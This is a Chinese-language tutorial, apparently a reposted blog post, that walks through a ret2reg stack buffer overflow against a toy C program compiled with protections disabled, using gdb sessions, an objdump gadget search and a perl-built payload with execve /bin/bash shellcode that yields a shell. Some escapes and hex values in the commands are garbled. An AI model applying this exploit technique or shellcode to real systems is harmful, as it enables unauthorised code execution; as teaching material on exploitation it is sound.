被溢出程序源码如下:
- root@linux:~/pentest# cat vulnerable.c
- #include <stdio.h>
- #include <string.h>
-
- void evilfunction(char *input) {
-
- char buffer[1000];
- strcpy(buffer, input);
- }
-
- int main(int argc, char **argv) {
-
- evilfunction(argv[1]);
-
- return 0;
- }
|
编译,并用gdb反汇编代码如下:
- root@linux:~/pentest# gcc -fno-stack-protector -z execstack -g -o vulnerable vulnerable.c
-
-
- root@linux:~/pentest# gdb vulnerable
- GNU gdb (Ubuntu/Linaro 7.2-1ubuntu11) 7.2
- Copyright (C) 2010 Free Software Foundation, Inc.
- License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
- This is free software: you are free to change and redistribute it.
- There is NO WARRANTY, to the extent permitted by law. Type “show copying”
- and “show warranty” for details.
- This GDB was configured as “i686-linux-gnu”.
- For bug reporting instructions, please see:
- <http://www.gnu.org/software/gdb/bugs/>…
- Reading symbols from /root/pentest/vulnerable…done.
- (gdb) disass main
- Dump of assembler code for function main:
- 0x080483e4 <+0>: push %ebp
- 0x080483e5 <+1>: mov %esp,%ebp
- 0x080483e7 <+3>: and {1}xfffffff0,%esp
- 0x080483ea <+6>: sub {1}x10,%esp
- 0x080483ed <+9>: mov 0xc(%ebp),%eax
- 0x080483f0 <+12>: add {1}x4,%eax
- 0x080483f3 <+15>: mov (%eax),%eax
- 0x080483f5 <+17>: mov %eax,(%esp)
- 0x080483f8 <+20>: call 0x80483c4 <evilfunction>
- 0x080483fd <+25>: mov {1}x0,%eax
- 0×08048402 <+30>: leave
- 0×08048403 <+31>: ret
- End of assembler dump.
- (gdb) disass evilfunction
- Dump of assembler code for function evilfunction:
- 0x080483c4 <+0>: push %ebp
- 0x080483c5 <+1>: mov %esp,%ebp
- 0x080483c7 <+3>: sub {1}x408,%esp
- 0x080483cd <+9>: mov 0×8(%ebp),%eax
- 0x080483d0 <+12>: mov %eax,0×4(%esp)
- 0x080483d4 <+16>: lea -0x3f0(%ebp),%eax
- 0x080483da <+22>: mov %eax,(%esp)
- 0x080483dd <+25>: call 0x80482f4 <strcpy@plt>
- 0x080483e2 <+30>: leave
- 0x080483e3 <+31>: ret
- End of assembler dump.
- (gdb)
|
分析evilfunction函数调用栈的使用情况,如下图所示:
![](https://i-blog.csdnimg.cn/blog_migrate/37980c92bdaf75bfbe72d161505dde2a.png)
可以看到,要想溢出该栈,需要至少1016B的数据。
下面我们用gdb调试一下,看上面的分析是不是正确:
- (gdb) run `perl -e ‘print ”x41″x1014′`
- The program being debugged has been started already.
- Start it from the beginning? (y or n) y
- Starting program: /root/pentest/vulnerable `perl -e ‘print ”x41″x1014′`
-
- Program received signal SIGSEGV, Segmentation fault.
- 0×08004141 in ?? ()
- (gdb) run `perl -e ‘print ”x41″x1015′`
- The program being debugged has been started already.
- Start it from the beginning? (y or n) y
- Starting program: /root/pentest/vulnerable `perl -e ‘print ”x41″x1015′`
-
- Program received signal SIGSEGV, Segmentation fault.
- 0×00414141 in ?? ()
- (gdb) run `perl -e ‘print ”x41″x1016′`
- The program being debugged has been started already.
- Start it from the beginning? (y or n) y
- Starting program: /root/pentest/vulnerable `perl -e ‘print ”x41″x1016′`
-
- Program received signal SIGSEGV, Segmentation fault.
- 0×41414141 in ?? ()
- (gdb)
|
通过调试,可见分析是正确的。那么接下来,我们将构造我们的shellcode来溢出该堆栈。这一节中,我们将使用一种常用的技 巧,ret2reg(return to register),与上文中提到的基本溢出方法不同的是,基本溢出使用esp地址硬编码eip的方式来执行我们的shellcode,而ret2reg 则使用现有指令地址覆写eip,该指令将跳转到一个寄存器指向的buffer的地址处执行。
下面使用gdb调试整个溢出过程,看是否有某个寄存器可供我们使用。即在程序溢出时,那个寄存器指向我们所要执行的shellcode。
- root@linux:~/pentest# gdb vulnerable
- GNU gdb (Ubuntu/Linaro 7.2-1ubuntu11) 7.2
- Copyright (C) 2010 Free Software Foundation, Inc.
- License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
- This is free software: you are free to change and redistribute it.
- There is NO WARRANTY, to the extent permitted by law. Type “show copying”
- and “show warranty” for details.
- This GDB was configured as “i686-linux-gnu”.
- For bug reporting instructions, please see:
- <http://www.gnu.org/software/gdb/bugs/>…
- Reading symbols from /root/pentest/vulnerable…done.
- (gdb) disass main
- Dump of assembler code for function main:
- 0x080483e4 <+0>: push %ebp
- 0x080483e5 <+1>: mov %esp,%ebp
- 0x080483e7 <+3>: and {1}xfffffff0,%esp
- 0x080483ea <+6>: sub {1}x10,%esp
- 0x080483ed <+9>: mov 0xc(%ebp),%eax
- 0x080483f0 <+12>: add {1}x4,%eax
- 0x080483f3 <+15>: mov (%eax),%eax
- 0x080483f5 <+17>: mov %eax,(%esp)
- 0x080483f8 <+20>: call 0x80483c4 <evilfunction>
- 0x080483fd <+25>: mov {1}x0,%eax
- 0×08048402 <+30>: leave
- 0×08048403 <+31>: ret
- End of assembler dump.
- (gdb) b *main+20
- Breakpoint 1 at 0x80483f8: file vulnerable.c, line 12.
- (gdb) b *main+31
- Breakpoint 2 at 0×8048403: file vulnerable.c, line 15.
- (gdb) disass evilfunction
- Dump of assembler code for function evilfunction:
- 0x080483c4 <+0>: push %ebp
- 0x080483c5 <+1>: mov %esp,%ebp
- 0x080483c7 <+3>: sub {1}x408,%esp
- 0x080483cd <+9>: mov 0×8(%ebp),%eax
- 0x080483d0 <+12>: mov %eax,0×4(%esp)
- 0x080483d4 <+16>: lea -0x3f0(%ebp),%eax
- 0x080483da <+22>: mov %eax,(%esp)
- 0x080483dd <+25>: call 0x80482f4 <strcpy@plt>
- 0x080483e2 <+30>: leave
- 0x080483e3 <+31>: ret
- End of assembler dump.
- (gdb) b *evilfunction+31
- Breakpoint 3 at 0x80483e3: file vulnerable.c, line 8.
- (gdb) run `perl -e ‘print ”x41″x1012,”x42″x4′`
- Starting program: /root/pentest/vulnerable `perl -e ‘print ”x41″x1012,”x42″x4′`
-
- Breakpoint 1, 0x080483f8 in main (argc=2, argv=0xbffff064) at vulnerable.c:12
- 12 evilfunction(argv[1]);
- (gdb) stepi
- evilfunction (input=0xbffff203 ‘A’ <repeats 200 times>…) at vulnerable.c:4
- 4 void evilfunction(char *input) {
- (gdb) i r esp
- esp 0xbfffef9c 0xbfffef9c
- (gdb) x/10x $esp-16
- 0xbfffef8c: 0×08048429 0x00171cbd 0x0029f324 0x0029eff4
- 0xbfffef9c: 0x080483fd 0xbffff203 0x0011ea50 0x0804841b
- 0xbfffefac: 0x0029eff4 0×08048410
- (gdb) c
- Continuing.
-
- Breakpoint 3, 0x080483e3 in evilfunction (input=0xbffff200 “le”) at vulnerable.c:8
- 8 }
- (gdb) i r esp
- esp 0xbfffef9c 0xbfffef9c
- (gdb) x/10x $esp-16
- 0xbfffef8c: 0×41414141 0×41414141 0×41414141 0×41414141
- 0xbfffef9c: 0×42424242 0xbffff200 0x0011ea50 0x0804841b
- 0xbfffefac: 0x0029eff4 0×08048410
- (gdb) c
- Continuing.
-
- Program received signal SIGSEGV, Segmentation fault.
- 0×42424242 in ?? ()
- (gdb) i r
- eax 0xbfffeba8 -1073747032
- ecx 0×0 0
- edx 0xbffff5fc -1073744388
- ebx 0x29eff4 2748404
- esp 0xbfffefa0 0xbfffefa0
- ebp 0×41414141 0×41414141
- esi 0×0 0
- edi 0×0 0
- eip 0×42424242 0×42424242
- eflags 0×10246 [ PF ZF IF RF ]
- cs 0×73 115
- ss 0x7b 123
- ds 0x7b 123
- es 0x7b 123
- fs 0×0 0
- gs 0×33 51
- (gdb) x/20x $eax
- 0xbfffeba8: 0×41414141 0×41414141 0×41414141 0×41414141
- 0xbfffebb8: 0×41414141 0×41414141 0×41414141 0×41414141
- 0xbfffebc8: 0×41414141 0×41414141 0×41414141 0×41414141
- 0xbfffebd8: 0×41414141 0×41414141 0×41414141 0×41414141
- 0xbfffebe8: 0×41414141 0×41414141 0×41414141 0×41414141
- (gdb) x/20x $eax -16
- 0xbfffeb98: 0x0015b1c4 0x0015b1c4 0x000027d8 0×00005844
- 0xbfffeba8: 0×41414141 0×41414141 0×41414141 0×41414141
- 0xbfffebb8: 0×41414141 0×41414141 0×41414141 0×41414141
- 0xbfffebc8: 0×41414141 0×41414141 0×41414141 0×41414141
- 0xbfffebd8: 0×41414141 0×41414141 0×41414141 0×41414141
- (gdb)
|
通过上面得过程分析,可以知道,在溢出时,eax寄存器恰好指向我们要执行的堆栈的起始地址处。即,我们可以利用eax来实现ret2reg。即寻找类似“call *%eax”或者“jmp *%eax”类似的指令。通常,我们需要在共享库中查找类似指令。
为了简便起见,先查找本程序中是否包含eax的指令。
- root@linux:~/pentest#objdump -d vulnerable | grep eax
- 80482c0: 58 pop %eax
- 80482d0: 0000 add %al,(%eax)
- 8048318: 50 push %eax
- 8048350: a1 18 a0 04 08 mov 0x804a018,%eax
- 8048366: 39d8 cmp %ebx,%eax
- 8048370: 83 c001 add {1}x1,%eax
- 8048373: a3 18 a0 04 08 mov %eax,0x804a018
- 8048378: ff 14 85 1c 9f 04 08 call *0x8049f1c(,%eax,4)
- 804837f: a1 18 a0 04 08 mov 0x804a018,%eax
- 8048384: 39d8 cmp %ebx,%eax
- 80483a6: a1 24 9f 04 08 mov 0x8049f24,%eax
- 80483ab: 85c0 test %eax,%eax
- 80483af: b8 00 00 00 00 mov {1}x0,%eax
- 80483b4: 85c0 test %eax,%eax
- 80483bf: ffd0 call *%eax
- 80483cd: 8b 4508 mov 0×8(%ebp),%eax
- 80483d0: 89 44 24 04 mov %eax,0×4(%esp)
- 80483d4: 8d 85 10 fc ff ff lea -0x3f0(%ebp),%eax
- 80483da: 89 0424 mov %eax,(%esp)
- 80483ed: 8b 450c mov 0xc(%ebp),%eax
- 80483f0: 83 c004 add {1}x4,%eax
- 80483f3: 8b00 mov (%eax),%eax
- 80483f5: 89 0424 mov %eax,(%esp)
- 80483fd: b8 00 00 00 00 mov {1}x0,%eax
- 804842f: 8d 83 20 ff ff ff lea -0xe0(%ebx),%eax
- 8048435: 29c7 sub %eax,%edi
- 8048440: 8b 45 10 mov 0×10(%ebp),%eax
- 8048443: 89 44 24 08 mov %eax,0×8(%esp)
- 8048447: 8b 450c mov 0xc(%ebp),%eax
- 804844a: 89 44 24 04 mov %eax,0×4(%esp)
- 804844e: 8b 4508 mov 0×8(%ebp),%eax
- 8048451: 89 0424 mov %eax,(%esp)
- 8048487: a1 14 9f 04 08 mov 0x8049f14,%eax
- 804848c: 83 f8ff cmp {1}xffffffff,%eax
- 804849b: ffd0 call *%eax
- 804849d: 8b03 mov (%ebx),%eax
- 804849f: 83 f8ff cmp {1}xffffffff,%eax
- root@linux:~/pentest#
|
可以看到,程序中包含我们要找的类似于“jmp/call *%eax”的指令。这样,我们将采用“0x80483bf”这个地址。
接下来需要构建我们的溢出代码,设计格式如下:
#############################################################
“x90” * 400B +shellcode(45B) + “x90” * 567B + “0x80483bf”(4B)
#############################################################
下面按照上面的格式,构造,并进行溢出测试。
- root@linux:~/pentest# gdb vulnerable
- GNU gdb (Ubuntu/Linaro 7.2-1ubuntu11) 7.2
- Copyright (C) 2010 Free Software Foundation, Inc.
- License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
- This is free software: you are free to change and redistribute it.
- There is NO WARRANTY, to the extent permitted by law. Type “show copying”
- and “show warranty” for details.
- This GDB was configured as “i686-linux-gnu”.
- For bug reporting instructions, please see:
- <http://www.gnu.org/software/gdb/bugs/>…
- Reading symbols from /root/pentest/vulnerable…done.
- (gdb) r `perl -e ‘print ”x90″x400,”x31xc0x83xecx01x88x04x24x68x62x61x73x68x68x62x69x6ex2fx83xecx01xc6x04x24x2fx89xe6x50x56xb0x0bx89xf3x89xe1x31xd2xcdx80xb0x01x31xdbxcdx80″,”x90″x567,”xbfx83x04x08″‘`
- The program being debugged has been started already.
- Start it from the beginning? (y or n) y
-
- Starting program: /root/pentest/vulnerable `perl -e ‘print ”x90″x400,”x31xc0x83xecx01x88x04x24x68x62x61x73x68x68x62x69x6ex2fx83xecx01xc6x04x24x2fx89xe6x50x56xb0x0bx89xf3x89xe1x31xd2xcdx80xb0x01x31xdbxcdx80″,”x90″x567,”xbfx83x04x08″‘`
- process 1909 is executing new program: /bin/bash
- root@linux:/root/pentest# ls
- shellcode shellcode.bin shellcode.c shellcode.pl shellcode_generator shellcode_generator.c test.c vulnerable vulnerable.c
- root@linux:/root/pentest# exit
- exit
-
- Program exited normally.
- (gdb)
|
可以看到,我们的溢出代码成功的获得了shell。
本文摘自网络由网络安全攻防研究室(www.91ri.org) 最新漏洞小组收集整理.转载本文请著名原文地址及版权信息。